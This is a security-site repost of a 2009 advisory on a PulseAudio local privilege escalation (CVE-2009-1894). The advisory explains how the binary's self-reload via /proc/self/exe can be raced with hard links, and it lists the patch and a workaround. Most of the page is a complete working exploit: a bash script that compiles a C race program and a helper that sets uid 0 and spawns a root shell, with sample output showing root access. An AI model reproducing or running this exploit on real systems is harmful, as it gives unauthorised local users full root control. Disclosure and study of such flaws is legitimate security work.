首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PulseAudio suffers from a local race condition privilege escalation vulnerabilit
来源:http://www.akitasecurity.nl/ 作者:Koster 发布时间:2009-07-20  

/*

------------------------------------------------------------------------
PulseAudio local race condition privilege escalation vulnerability
------------------------------------------------------------------------
Yorick Koster, June 2009

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------

The PulseAudio binary is affected by a local race condition. If the
binary is installed as SUID root, it is possible to exploit this
vulnerability to gain root privileges. This attack requires that a local
attacker can create hard links on the same hard disk partition on which
PulseAudio is installed (i.e. /usr/bin and /tmp reside on the same
partition).

------------------------------------------------------------------------
See also
------------------------------------------------------------------------

- CVE-2009-1894 [2]
- GLSA 200907-13 [3] PulseAudio: Local privilege escalation
- USN-804-1 [4] PulseAudio vulnerability

------------------------------------------------------------------------
Tested version
------------------------------------------------------------------------

This issue was successfully verified on the following Linux
distributions:

- Ubuntu 9.04 running PulseAudio version 0.9.14
- Debian 5.0 running PulseAudio version 0.9.10
- Mandriva Linux 2009 Spring running PulseAudio version 0.9.15

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------

A patch for PulseAudio was released that addresses this issue. This
patch can be obtained from the following location:

http://git.0pointer.de/?p=pulseaudio.git;a=commit;h=84200b423ebfa7e2dad9b1b65f64eac7bf3d2114

As a temporary workaround, remove the SUID bit from the PulseAudio
binary.

$ chmod u-s `which pulseaudio`

------------------------------------------------------------------------
Introduction
------------------------------------------------------------------------

PulseAudio [5] is a sound server for POSIX and Win32 systems. A sound
server is basically a proxy for your sound applications. It allows you
to do advanced operations on your sound data as it passes between your
application and your hardware.

On some systems, the PulseAudio binary is installed SUID root to enable
real-time scheduling. If set, the daemon will drop root privileges
immediately on startup, however it will retain the CAP_NICE capability
(on systems that support it), but only if the calling user is a member
of the pulse-rt group. For all other users all capabilities are dropped
immediately.

------------------------------------------------------------------------
Race condition
------------------------------------------------------------------------

If the PulseAudio binary is started on Linux systems, it checks if the
LD_BIND_NOW environment variable is set. If this is not the case,
PulseAudio will set the variable and it will reload itself. It tries to
determine its path name by looking at the /proc/self/exe symbolic link.
This symbolic link will point to the full path name of the current
process.

int main(int argc, char *argv[]) {
[...]
#if defined(__linux__) && defined(__OPTIMIZE__)
 /*
  Disable lazy relocations to make usage of external libraries
  more deterministic for our RT threads. We abuse __OPTIMIZE__ as
  a check whether we are a debug build or not.
 */
 
 if (!getenv("LD_BIND_NOW")) {
  char *rp;
 
  /* We have to execute ourselves, because the libc caches the
  * value of $LD_BIND_NOW on initialization. */
 
  pa_set_env("LD_BIND_NOW", "1");
  pa_assert_se(rp = pa_readlink("/proc/self/exe"));
  pa_assert_se(execv(rp, argv) == 0);
 }
#endif

Normally, /proc/self/exe will point to something like
/usr/bin/pulseaudio. However by using hard links, it is possible to
cause /proc/self/exe to point to a different location.

$ cd /tmp
$ ls -la /proc/self/exe
lrwxrwxrwx 1 yorick yorick 0 2009-06-09 16:31 /proc/self/exe ->
/bin/ls
$ ln `which ls` ls
$ ./ls -la /proc/self/exe
lrwxrwxrwx 1 yorick yorick 0 2009-06-09 16:31 /proc/self/exe ->
/tmp/ls

In addition, if a hard link is created, the SUID bit is preserved.

$ ln `which pulseaudio` pulseaudio
$ ls -la pulseaudio
-rwsr-xr-x 2 root root 71616 2009-04-09 02:12 pulseaudio

A race condition exists in the reload mechanism of PulseAudio. An
attacker can exploit this issue by creating a hard link pointing to the
PulseAudio binary. After this it can execute this binary through the
hard link. At this moment /proc/sef/exe will point to the hard link.
Before PulseAudio is restarted, the attacker can replace the hard link
with a different (executable) file or (symbolic) link. If PulseAudio is
restarted, it will use a path name that at this moment points to a
different file, for example a command shell. Root privileges are not
dropped when PulseAudio is reloading, thus allowing a local attacker to
gain root privileges.

Please note, this attack is only possible if the attacker can create
hard links on the same hard disk partition on which PulseAudio is
installed (i.e. /usr/bin and /tmp reside on the same partition).

------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------

The following proof of concept can be used to exploit this issue. The
proof of concept tries to exploit this issue by creating hard links in
the /tmp directory.

pa_race [6]

$ ./pa_race
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
I: caps.c: Dropping root privileges.
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
N: main.c: Called SUID root and real-time and/or high-priority
scheduling was requested in the configuration. However, we lack the
necessary privileges:
N: main.c: We are not in group 'pulse-rt', PolicyKit refuse to
 grant us the requested privileges and we have no increase
RLIMIT_NICE/RLIMIT_RTPRIO resource limits.
N: main.c: For enabling real-time/high-priority scheduling please
acquire the appropriate PolicyKit privileges, or become a member of
'pulse-rt', or increase the RLIMIT_NICE/RLIMIT_RTPRIO resource
 limits for this user.
E: pid.c: Daemon already running.
E: main.c: pa_pid_file_create() failed.
[...]
uid=0(root) gid=0(root) groups=4(adm), 20(dialout), 24(cdrom),
25(floppy), 29(audio), 30(dip), 44(video), 46(plugdev), 107(fuse),
109(lpadmin), 115(admin), 1000(yorick)
#

------------------------------------------------------------------------
References
------------------------------------------------------------------------

[1] http://www.akitasecurity.nl/advisory.php?id=AK20090602
[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1894
[3] http://www.gentoo.org/security/en/glsa/glsa-200907-13.xml
[4] http://www.ubuntu.com/usn/usn-804-1
[5] http://pulseaudio.org/
[6] http://www.akitasecurity.nl/advisory/AK20090602/pa_race

------------------------------------------------------------------------
--
------------------------------------------------------------------------
Akita Software Security (Kvk 37144957)
http://www.akitasecurity.nl/
------------------------------------------------------------------------
Key fingerprint = 5FC0 F50C 8B3A 4A61 7A1F  2BFF 5482 D26E D890 5A65
http://keyserver.pgp.com/vkd/DownloadKey.event?keyid=0x5482D26ED8905A65

*/

#!/bin/bash

pulseaudio=`which pulseaudio`
workdir="/tmp"
#workdir=$HOME
id=`which id`
shell=`which sh`

trap cleanup INT

function cleanup()
{
 rm -f $workdir/sh $workdir/sh.c $workdir/pa_race $workdir/pa_race.c
 rm -rf $workdir/PATMP*
}

cat > $workdir/pa_race.c << __EOF__
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/wait.h>

#define PULSEAUDIO_PATH  "$pulseaudio"
#define SH_PATH   "$workdir/sh"
#define TMPDIR_TEMPLATE  "$workdir/PATMPXXXXXX"

void _pause(long sec, long usec);

int main(int argc, char *argv[], char *envp[])
{
 int   status;
 pid_t pid;
 char  template[sizeof(TMPDIR_TEMPLATE)];
 char *tmpdir;
 char  hardlink[sizeof(template) + 2];
 char  hardlink2[sizeof(template) + 12];
 
 srand(time(NULL));
 
 for( ; ; )
 {
  snprintf(template, sizeof(template), "%s", TMPDIR_TEMPLATE);
  template[sizeof(template) - 1] = '\0';
  
  tmpdir = mkdtemp(template);
  if(tmpdir == NULL)
  {
   perror("mkdtemp");
   return 1;
  }
 
  snprintf(hardlink, sizeof(hardlink), "%s/A", tmpdir);
  hardlink[sizeof(hardlink) - 1] = '\0';
 
  snprintf(hardlink2, sizeof(hardlink2), "%s/A (deleted)", tmpdir);
  hardlink2[sizeof(hardlink2) - 1] = '\0';
 
  /* this fails if $workdir is a different partition */
  if(link(PULSEAUDIO_PATH, hardlink) == -1)
  {
   perror("link");
   return 1;
  }
  
  if(link(SH_PATH, hardlink2) == -1)
  {
   perror("link");
   return 1;
  }
  
  pid = fork();
  
  if(pid == 0)
  {
   char *argv[] = {hardlink, NULL};
   char *envp[] = {NULL};

   execve(hardlink, argv, envp);
   
   perror("execve");
   return 1;
  }
  
  if(pid == -1)
  {
   perror("fork");
   return 1;
  }
  else
  {
   /* tweak this if exploit does not work */
   _pause(0, rand() % 500);
   
   if(unlink(hardlink) == -1)
   {
    perror("unlink");
    return 1;
   }
 
   if(link(SH_PATH, hardlink) == -1)
   {
    perror("link");
    return 1;
   }
   waitpid(pid, &status, 0);
  }
  
  if(unlink(hardlink) == -1)
  {
   perror("unlink");
   return 1;
  }
  
  if(unlink(hardlink2) == -1)
  {
   perror("unlink");
   return 1;
  }
  
  if(rmdir(tmpdir) == -1)
  {
   perror("rmdir");
   return 1;
  }
 }
  
 return 0;
}

void _pause(long sec, long usec)
{
 struct timeval timeout;
 
 timeout.tv_sec  = sec;
 timeout.tv_usec = usec;
 
 if(select(0, NULL, NULL, NULL, &timeout) == -1)
 {
  perror("select");
 }
}
__EOF__

cat > $workdir/sh.c << __EOF__
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>


int main(int argc, char *argv[], char *envp[])
{
 if(geteuid() != 0)
 {
  return 1;
 }

 setuid(0);
 setgid(0);

 if(fork() == 0)
 {
  argv[0] = "$id";
  argv[1] = NULL;
  execve(argv[0], argv, envp);
  return 1;
 }

 argv[0] = "$shell";
 argv[1] = NULL;
 execve(argv[0], argv, envp);
 return 1;
}
__EOF__

gcc -o $workdir/pa_race $workdir/pa_race.c
gcc -o $workdir/sh $workdir/sh.c

$workdir/pa_race

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux 2.6.30+/SELinux/RHEL5 Te
·XSS JavaScript Obfuscator 0.01
·WebVision 2.1 (news.php n) Rem
·Soritong MP3 Player 1.0 (SKIN)
·Adobe related service (getPlus
·htmldoc 1.8.27.1 (.html) Unive
·EpicVJ 1.2.8.0 (.mpl/.m3u) Loc
·Streaming Audio Player 0.9 (sk
·EpicDJ 1.3.9.1 (.mpl/.m3u) Loc
·win32/xp sp2 (En) cmd.exe 23 b
·FreeBSD 7.2 (pecoff executable
·Easy RM to MP3 Converter .m3u
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved